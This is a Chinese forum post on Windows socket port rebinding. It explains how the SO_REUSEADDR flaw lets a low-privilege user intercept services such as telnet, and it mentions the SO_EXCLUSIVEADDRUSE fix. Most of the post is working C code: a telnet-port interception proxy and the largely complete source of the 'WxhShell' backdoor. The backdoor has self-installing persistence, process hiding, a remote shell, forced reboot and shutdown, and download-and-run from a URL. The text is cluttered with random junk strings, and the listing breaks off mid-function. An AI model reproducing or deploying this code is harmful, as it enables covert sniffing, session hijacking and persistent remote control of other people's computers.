社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18886阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]}Hcb)'j@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ij>x3L\-  
>j1\]uo  
  saddr.sin_family = AF_INET; i][7S mN  
[0 7N<<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xw-x<7  
z^ +CD-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u/FnA-L4  
R4,j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h'wOslyFa  
>8;Co]::kx  
  这意味着什么?意味着可以进行如下的攻击: bu"R2~sb  
TRG(W^<F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tBe)#-O  
M-KjRl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8;7Y}c  
v#0R   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q#B^yk|Y  
>'eOzMBn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m3]|I(]`Xe  
WSfla~-'F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^=Rqa \;  
.)^@[yrkz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0A[p3xE\  
&)L2a)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s)%RmsdL  
07-S%L7Z  
  #include Uh}n'Xd#{}  
  #include P8.tl"q  
  #include iZ+\vO?|  
  #include    "|pNS)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UM%[UyYQ  
  int main() cOra`7L`  
  { a#W:SgE?Y  
  WORD wVersionRequested; wL,b.]  
  DWORD ret; p~M1}mE  
  WSADATA wsaData; fAWjk&9  
  BOOL val; ,YFuMek  
  SOCKADDR_IN saddr; NUBzmnA>8  
  SOCKADDR_IN scaddr; 0`/PEK{  
  int err; vrXmzq  
  SOCKET s; D1bS=> ;,"  
  SOCKET sc; #V[ ?puE@  
  int caddsize; U:>'^tkp  
  HANDLE mt; b3e:F{n ^  
  DWORD tid;   N!DAn \g  
  wVersionRequested = MAKEWORD( 2, 2 ); k;:v~7VF  
  err = WSAStartup( wVersionRequested, &wsaData ); ~*-ar6  
  if ( err != 0 ) { _)Uw-vhQiT  
  printf("error!WSAStartup failed!\n"); NtMK+y  
  return -1; ws5x53K  
  } &NV[)6!  
  saddr.sin_family = AF_INET; (5?5? <  
   Okca6=2"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (A?{6  
0~RsdQGqC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U7J0&  
  saddr.sin_port = htons(23); w3:WvA5jt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y-&r_s_~  
  { { 'Hi_b3  
  printf("error!socket failed!\n"); Fa^5.p  
  return -1; i](,s.  
  } Ojp)OeF\  
  val = TRUE; DR/qe0D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u3kK!2cdP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UC^&& 2maI  
  { [.B)W);  
  printf("error!setsockopt failed!\n"); _lb ^  
  return -1; ME~ga,|K  
  } ]9)pFL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S{j|("W"[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H V<|eL #  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tA$,4B?  
I.tJ4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BQ[1,\>  
  { K|];fd U  
  ret=GetLastError(); { yU1db^  
  printf("error!bind failed!\n"); .Ozfj@ f  
  return -1; gs 8w/  
  } rq9{m(  
  listen(s,2); nL@ "FZ`(  
  while(1) : N ^1T6v  
  { Ken|!rL  
  caddsize = sizeof(scaddr); FCQoz"M  
  //接受连接请求 W^0F(9~!(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m_~ p G  
  if(sc!=INVALID_SOCKET) qAm$yfYs`  
  { k(o[T),_%0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )gV+BHK  
  if(mt==NULL) \(.&E`r  
  { uOc>~ITPS  
  printf("Thread Creat Failed!\n"); MQE=8\  
  break; mp0p#8txi  
  } +] B  
  } *wP8)yv7  
  CloseHandle(mt); +FQ:Q+  
  } #})Oz| c  
  closesocket(s); $-"AMZ899  
  WSACleanup(); :ORCsl6-  
  return 0; sF]v$ kq  
  }   y?<[g;MuT  
  DWORD WINAPI ClientThread(LPVOID lpParam) j>eL&.d  
  { QL}5vSl  
  SOCKET ss = (SOCKET)lpParam; R B.j@*  
  SOCKET sc; u#%Ig3  
  unsigned char buf[4096]; |8&AsQd  
  SOCKADDR_IN saddr; 5. :To2  
  long num; 3/:O8H  
  DWORD val; 0~A<AF*t  
  DWORD ret; UA{sUj+?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 # j*$ `W;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !$AVl MnJ  
  saddr.sin_family = AF_INET; J"|)?$d]z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <qZXpQ#  
  saddr.sin_port = htons(23); w>; :mf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +@]1!|@(  
  { 'LFHZ&-  
  printf("error!socket failed!\n"); mLk@&WxG  
  return -1; (y^oGY;  
  } Ol9U^  
  val = 100; f1=BBQY >  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xj{X#[q):  
  { J[YA1  
  ret = GetLastError(); v6oPAqj,r  
  return -1; riZFcVsB  
  } G6JyAC9j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q'JEDH\  
  { Q6,rY(b6  
  ret = GetLastError(); ]?-56c,  
  return -1; T =3te|fv  
  } jp8=>mk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m<8j' [+  
  { Jl Q%+$  
  printf("error!socket connect failed!\n"); yr&oJYM  
  closesocket(sc); YC&iH>jO3  
  closesocket(ss); ~D@ V@sX  
  return -1; z A&0H  
  } ,M7sOp6}  
  while(1) f Otrn  
  { |C'w] QYm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /2>-h-zBjw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7zr\AgV9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U`FybP2R~  
  num = recv(ss,buf,4096,0); W euV+}\b  
  if(num>0) `m3@mJ!>\  
  send(sc,buf,num,0); 90sMS]a  
  else if(num==0) V==' 7n  
  break; FtM7+>Do.  
  num = recv(sc,buf,4096,0); z"}k\B-5  
  if(num>0) jm RYL("  
  send(ss,buf,num,0); X]cB `?vR  
  else if(num==0) }Bc'(2A;,  
  break; ?#}=!$p  
  } :m8ED[9b  
  closesocket(ss); ||`w MWq  
  closesocket(sc); ><LIOFqsS  
  return 0 ; Z<jRZH*L  
  } {N)\It  
:1_hQeq  
 =e$ #m;  
========================================================== zIF &ZYP  
[w=x0J&  
下边附上一个代码,,WXhSHELL bQXxb(^  
6 $ IXER  
========================================================== t vk^L3=<  
JsnavI6  
#include "stdafx.h" bIp;$ZHy`K  
`6~*kCj5  
#include <stdio.h> #Yw^n?~~  
#include <string.h> d/Py,  
#include <windows.h> ,EZ&n[%Ko  
#include <winsock2.h> %T'?7^\>  
#include <winsvc.h> 4Xz6JJ1U[H  
#include <urlmon.h> ~lDLdUs  
b8b-M]P-=  
#pragma comment (lib, "Ws2_32.lib") eVU:.fx  
#pragma comment (lib, "urlmon.lib") 6sP;O,UX  
~|DF-t V  
#define MAX_USER   100 // 最大客户端连接数 JTx}{kVO  
#define BUF_SOCK   200 // sock buffer fEVuH]  
#define KEY_BUFF   255 // 输入 buffer n!eg"pL  
,9?'Q;20  
#define REBOOT     0   // 重启 V2g$"W?3  
#define SHUTDOWN   1   // 关机 ljiq+tT  
OzO_E8Kb\  
#define DEF_PORT   5000 // 监听端口 ]XPGlM  
d[~c-G6  
#define REG_LEN     16   // 注册表键长度 |o!<@/iH=  
#define SVC_LEN     80   // NT服务名长度 X[@>1tl  
* uEU9fX  
// 从dll定义API S BFhC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '')G6-c/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N e^#5T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ku&(+e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >F+:ej  
]G1j\wnF  
// wxhshell配置信息 t<`ar@}  
struct WSCFG { HhqqJEp0  
  int ws_port;         // 监听端口 DVB:8"Bu  
  char ws_passstr[REG_LEN]; // 口令 (S2<6Nm8  
  int ws_autoins;       // 安装标记, 1=yes 0=no $hKgTf?  
  char ws_regname[REG_LEN]; // 注册表键名 \&TTe8  
  char ws_svcname[REG_LEN]; // 服务名 E32z(:7M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `/HygC6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3_h%g$04 s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PA,j;{,(b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qWanr7n]@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?5(L.XFm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fn[~5/  
qb"!  
}; `Mjm/9+18  
SQ.4IWT(hR  
// default Wxhshell configuration 0I#<-9&d-  
struct WSCFG wscfg={DEF_PORT, 0(i`~g5  
    "xuhuanlingzhe", [;?^DAnK2  
    1, I7uYsjh@u  
    "Wxhshell", }s)Z:6;(,q  
    "Wxhshell", 92SB'T>  
            "WxhShell Service", ;JZXSM-3  
    "Wrsky Windows CmdShell Service", 9723f1&Vd  
    "Please Input Your Password: ", {>+$u"*  
  1, 5vpf;  
  "http://www.wrsky.com/wxhshell.exe", ITsJjcYw  
  "Wxhshell.exe" JQtH },T r  
    }; +$UfP(XmH  
JHQ8o5bEQp  
// 消息定义模块 @?1%*/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ =9R5.)c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Z^g 7 *s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B}MJ?uvA  
char *msg_ws_ext="\n\rExit."; sRMzU  
char *msg_ws_end="\n\rQuit."; TgUQD(d^  
char *msg_ws_boot="\n\rReboot..."; FdSaOod8  
char *msg_ws_poff="\n\rShutdown..."; lp9<j1Wl  
char *msg_ws_down="\n\rSave to "; 5G!X4%a  
;=7z!:)  
char *msg_ws_err="\n\rErr!"; K&X'^|en  
char *msg_ws_ok="\n\rOK!"; l,X;<&-[  
Qb|dp~K.M  
char ExeFile[MAX_PATH]; AH7k|6ku<*  
int nUser = 0; fg1y@Dj/&  
HANDLE handles[MAX_USER]; p/:5 bvA  
int OsIsNt; %/^d]#  
#>,cc?H-  
SERVICE_STATUS       serviceStatus; 1z`,*eD7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !;xE7w  
}Sh-4:-D  
// 函数声明 ?k3b\E3  
int Install(void); AzV5Re8M  
int Uninstall(void); wH`@r?&  
int DownloadFile(char *sURL, SOCKET wsh); n;=A'g|Q  
int Boot(int flag); ?UxY4m%R;  
void HideProc(void); cpy"1=K~M  
int GetOsVer(void); iY($O/G[+  
int Wxhshell(SOCKET wsl); YL. z|{\e  
void TalkWithClient(void *cs); h49Q2`  
int CmdShell(SOCKET sock); ~"wD4Ue  
int StartFromService(void); nY8UJy}<oL  
int StartWxhshell(LPSTR lpCmdLine); J~}UG]j n  
)s8r(.W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e56#Qb@$\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ((5zwD  
XMdc n,  
// 数据结构和表定义 wiGwN  
SERVICE_TABLE_ENTRY DispatchTable[] = ]lo1Kw  
{ 5^Y/RS i  
{wscfg.ws_svcname, NTServiceMain}, j~8+,:  
{NULL, NULL} xC{NIOYn'  
}; ~3%3{a a  
U\ L"\N7  
// 自我安装 Z\L@5.*ydE  
int Install(void) _qg6( X  
{ %b?Pasf.  
  char svExeFile[MAX_PATH]; LBE".+  
  HKEY key; k|_2aQ02  
  strcpy(svExeFile,ExeFile); "4`%NA  
"h2Ny#  
// 如果是win9x系统,修改注册表设为自启动 |]q=D1/A  
if(!OsIsNt) { -hzza1DP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n~ql]Ln  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HDEG/k/~m  
  RegCloseKey(key); +doT^&2u*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { br;G5^j3?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]M2<I#hF.  
  RegCloseKey(key); ./ :86@O  
  return 0; ]/bE${W*]  
    } i#lo? \PO>  
  } ypd?mw&1}  
} X2`>@GR/>  
else { g@2.A;N0  
Z]Y4NO;  
// 如果是NT以上系统,安装为系统服务 `#f=&S?k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); caP  
if (schSCManager!=0) -1:Z^&e/  
{ .#@Dn(  
  SC_HANDLE schService = CreateService m\f_u*  
  (  (2li:1j  
  schSCManager, nADd,|xD3  
  wscfg.ws_svcname, !7oy%{L  
  wscfg.ws_svcdisp, {X$Mwqhpp;  
  SERVICE_ALL_ACCESS, ]'Yw#YB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R u5&xIQ  
  SERVICE_AUTO_START, V.#8-?z  
  SERVICE_ERROR_NORMAL, FT;JYkO  
  svExeFile, kut|A  
  NULL, G|lI=Q3f  
  NULL, ?a%i|Z7!  
  NULL, 4I*Mc%dD  
  NULL, (Pd>*G\  
  NULL zl\#n:|  
  ); P1wRt5  
  if (schService!=0) H1nQ.P]_  
  { 0vp I#q  
  CloseServiceHandle(schService); &w0=/G/T=~  
  CloseServiceHandle(schSCManager); ak>NKK8P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 =<|h  
  strcat(svExeFile,wscfg.ws_svcname); ,*[LnR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z-|C{1}A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \DqxS=o;  
  RegCloseKey(key); vI'>$  
  return 0; p]&Q`oh  
    } CK(ev*@\D,  
  } ? 6d4T  
  CloseServiceHandle(schSCManager); _|ib@Xbin  
} =LxmzQO#  
} / yi:Q0  
a1SOC=.M;  
return 1; 1RbYPX  
} $0}bi:7  
rbPs~C-[  
// 自我卸载 'cN#rHPB6  
int Uninstall(void) }yw;L(3  
{ YSo7~^1W"  
  HKEY key; #&83;uys  
.,Qnn}:l  
if(!OsIsNt) { F5+_p@ !i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~,2hP ~  
  RegDeleteValue(key,wscfg.ws_regname); Qiw4'xQm  
  RegCloseKey(key); t5X lR]` w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]?(F'&  
  RegDeleteValue(key,wscfg.ws_regname); n-3j$x1Ne  
  RegCloseKey(key); wG5RN;`V  
  return 0; kA!(}wRL  
  } h(Ed%  
} 5iddB $  
} 2nkj;x{H$  
else { EAw#$Aq=  
*t{c}Y&@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pki4wDCTW  
if (schSCManager!=0) "GI&S%F  
{ V2{#<d-T!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `?^w  
  if (schService!=0) rJZs 5g`  
  { ZT8J i?_n  
  if(DeleteService(schService)!=0) { Lzx$"R-  
  CloseServiceHandle(schService); 'S7@+kJ  
  CloseServiceHandle(schSCManager); \Z20fh2  
  return 0; F9P0cGDs  
  } 4>VZk^%b#  
  CloseServiceHandle(schService); Pmlgh&Z  
  } QX.6~*m1  
  CloseServiceHandle(schSCManager); %K'*P56  
} m}[~A@qD  
} N5s|a5  
/Jf`x>eiH  
return 1; eD{ @0&   
} 8='21@wrN  
<nTmZ-;  
// 从指定url下载文件 ef}E.Bl  
int DownloadFile(char *sURL, SOCKET wsh) eM=)>zl  
{ *rcuhw"^b#  
  HRESULT hr; S"TMsi  
char seps[]= "/";  OI_/7@L  
char *token; U@J/  
char *file; BX(d"z b<  
char myURL[MAX_PATH]; ? ZHE8  
char myFILE[MAX_PATH]; ?h)3S7  
)^f9[5ee  
strcpy(myURL,sURL); %}MA5 t]o  
  token=strtok(myURL,seps); ;%7XU~<a  
  while(token!=NULL) `3y!XET  
  { _8b]o~[Z+  
    file=token; {IPn\Bka  
  token=strtok(NULL,seps); ;q,)NAr&  
  } `x$}~rP&)!  
'CX.qxF1;p  
GetCurrentDirectory(MAX_PATH,myFILE); ;5Vk01R  
strcat(myFILE, "\\"); +yb$[E*  
strcat(myFILE, file); 8#]7`o  
  send(wsh,myFILE,strlen(myFILE),0); )xvx6?Ah|  
send(wsh,"...",3,0); R^yZG{?t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9MB\z"b?A  
  if(hr==S_OK) 6+ $d  
return 0; KtU GI.X  
else vN,}aV2nq  
return 1; OKZam ik~  
0^y@p&;/.  
} $;2eH  
p~q_0Pg%  
// 系统电源模块 RUk<=! U  
int Boot(int flag) #i+P(xV  
{ Qw<kX*fxrI  
  HANDLE hToken; ECS<l*i57&  
  TOKEN_PRIVILEGES tkp; ,/?%y\:J  
"T{~,'T  
  if(OsIsNt) { O:,2OMB}B`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a\&(Ua  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E]H   
    tkp.PrivilegeCount = 1; tC?A so  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1(?CNW[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =WmBpUh  
if(flag==REBOOT) { zh^jWu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #'4<> G]  
  return 0; pcuMGo-#  
} yF/< :  
else { *{.&R9#7U'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s0)qlm*  
  return 0; _)#=>$k\  
} O,=Q1*c,&  
  } =tS[&6/  
  else { DO1 JPeIi  
if(flag==REBOOT) { xMSNrOc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X40la_[.  
  return 0; hINnb7 o  
} @cu}3>  
else { ]@/^_f>D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?Rt 1CDu  
  return 0; x0u?*5-t  
} of+phMev  
} 5mna7 BCEb  
^p"4)6p-W  
return 1; KkdG.c'  
} uP%axys  
hsHVX[<5`  
// win9x进程隐藏模块 D%jD 8p  
void HideProc(void) hi {2h04  
{ foFg((tS  
\3Q:K |  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "#-Nqq  
  if ( hKernel != NULL ) mmrW`~-  
  { "[Qb'9/Jc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h;EwkbDQg>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 23}BW_m  
    FreeLibrary(hKernel); }\`(m\2xo  
  } POqRHuFq  
u=@h`5-fp  
return; ~T>jBYI0  
} z*M}=`M$  
:]B% >*;}  
// 获取操作系统版本 P"R97#C  
int GetOsVer(void) _.d}lK3$2  
{ \3H<z@;  
  OSVERSIONINFO winfo; NJ|NJ p&0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H _Zo@y~J  
  GetVersionEx(&winfo); 'a;ini  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) di3 B=A>3  
  return 1; ;[TljcbS  
  else 8!u/   
  return 0; a%7"_{s1  
} ;[{:'^n  
n_""M:XH  
// 客户端句柄模块 !lQ#sL`  
int Wxhshell(SOCKET wsl) F5N>Uqr*oN  
{ [{S;%Jj*X/  
  SOCKET wsh; ?%cn'=>ZI  
  struct sockaddr_in client; Sni&?tcY  
  DWORD myID; jIAW-hc]  
,}9f(`  
  while(nUser<MAX_USER) js:C mnI  
{ do:QH.q8)  
  int nSize=sizeof(client); tA`mD>[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *.kj]BoO  
  if(wsh==INVALID_SOCKET) return 1; P]pmt1a  
x @1px&^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tWpl`HH  
if(handles[nUser]==0) RGT_}ni  
  closesocket(wsh); 8w)e/*:j  
else y#]}5gJ  
  nUser++; r?64!VS;  
  } 6#E]zmXO2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K#GXpj  
|7rR99  
  return 0; 2}^+ ]5  
} JQ*D   
GN\8![J  
// 关闭 socket wl7 MfyU  
void CloseIt(SOCKET wsh) !2GHJHxv]c  
{ 7<h.KZPc  
closesocket(wsh); ixOEdQ  
nUser--; Y3-]+y%l  
ExitThread(0); q{a#HnZo"  
} 84iJ[Fq{  
Z:I*y7V-  
// 客户端请求句柄 }Q/G &F  
void TalkWithClient(void *cs) ^F>4~68d  
{ ~_ *H)|  
9aTL22U?  
  SOCKET wsh=(SOCKET)cs; %lXbCE:[  
  char pwd[SVC_LEN]; 7< ^'DO s  
  char cmd[KEY_BUFF]; n`P`yb\f$  
char chr[1]; *Y8XP8u/  
int i,j; jMK3T  
CXBzX:T?#  
  while (nUser < MAX_USER) { 48wDf_<f5=  
KuA>"X  
if(wscfg.ws_passstr) { 6dF$?I&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D ~Z=0yD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [!^cd%l  
  //ZeroMemory(pwd,KEY_BUFF); a*V9_Px$&  
      i=0; D^|jZOJ  
  while(i<SVC_LEN) { T}UT 7W|  
T'hml   
  // 设置超时 &kb\,mQ  
  fd_set FdRead; Q`N18I3  
  struct timeval TimeOut; v#zPH5xo  
  FD_ZERO(&FdRead); d{W}p~UbH  
  FD_SET(wsh,&FdRead); f:xUPH?+  
  TimeOut.tv_sec=8; =KV@&Y^x4  
  TimeOut.tv_usec=0; !~kEtC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?RDO] I>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Aa[?2 O  
mn. `qfMh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3a'q`.L  
  pwd=chr[0]; a~WqUL  
  if(chr[0]==0xd || chr[0]==0xa) { G OpjRA@  
  pwd=0; sN-oEqS  
  break; ]5N zK=2{  
  } QW2?n`Fa9-  
  i++; T0r<O_ubOA  
    } 4KE)g  
UIn^_}jF`  
  // 如果是非法用户,关闭 socket ?gLAWz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =qw &dwIQ  
} S9J5(lYv~N  
=:4?>2)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .vK.XFZ8R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qh$X^%g  
 *. 8JP  
while(1) { _D-5}a"  
3g;T?E  
  ZeroMemory(cmd,KEY_BUFF); YX_vv!-]  
7ZQ'h3K  
      // 自动支持客户端 telnet标准   `0?^[;[u[  
  j=0; y5_XHi@u~o  
  while(j<KEY_BUFF) { bjlkX[{}I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); or7pJy%4"  
  cmd[j]=chr[0]; va^0JfQ  
  if(chr[0]==0xa || chr[0]==0xd) { A';n6ne%i  
  cmd[j]=0; ZY)%U*jWU  
  break; Pw= 3PvkL  
  } i *B:El1  
  j++; WKxm9y V  
    } ` VwN!B:  
Ae6("Oid  
  // 下载文件 ?ZaD=nh$mK  
  if(strstr(cmd,"http://")) { M\ dO({o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q&gPa]z]}  
  if(DownloadFile(cmd,wsh)) ) o xIzF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QNb>rLj52  
  else dhW<p 5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ge$LIsE8  
  } (`pNXQ0n  
  else { Ra0=q4vdk  
*2=W5LaK.  
    switch(cmd[0]) { ) \ 4 |  
  QF.3c6O@  
  // 帮助 _W|R;Cz]  
  case '?': { gH'_ymT= 3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {V0>iN:~S  
    break; 7 5|pp  
  } %9X{{_  
  // 安装 s@s/ '^`  
  case 'i': { \6:>{0\  
    if(Install()) 2h<U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@`~9$  
    else /VO^5Dnb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wLUF v(&C  
    break; gQ>2!Qc a-  
    } ]26mB  
  // 卸载 JpmB;aL#%  
  case 'r': { ]n5"Z,K  
    if(Uninstall()) sMm/4AY]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBJ3VK  
    else -w~(3(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .H2qs{N!  
    break; FCiq?@  
    } w" JGO  
  // 显示 wxhshell 所在路径 zKxvN3!  
  case 'p': { { 5-zyE  
    char svExeFile[MAX_PATH]; [O_^MA,z  
    strcpy(svExeFile,"\n\r"); *NlpotW,f  
      strcat(svExeFile,ExeFile); &6/%k kv  
        send(wsh,svExeFile,strlen(svExeFile),0); U CRAw3=  
    break; _q)!B,y-/N  
    } J$QBI&D  
  // 重启 LN^UC$[tk  
  case 'b': { {zP#woz2Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0[)VO[  
    if(Boot(REBOOT)) PrSkHxm  
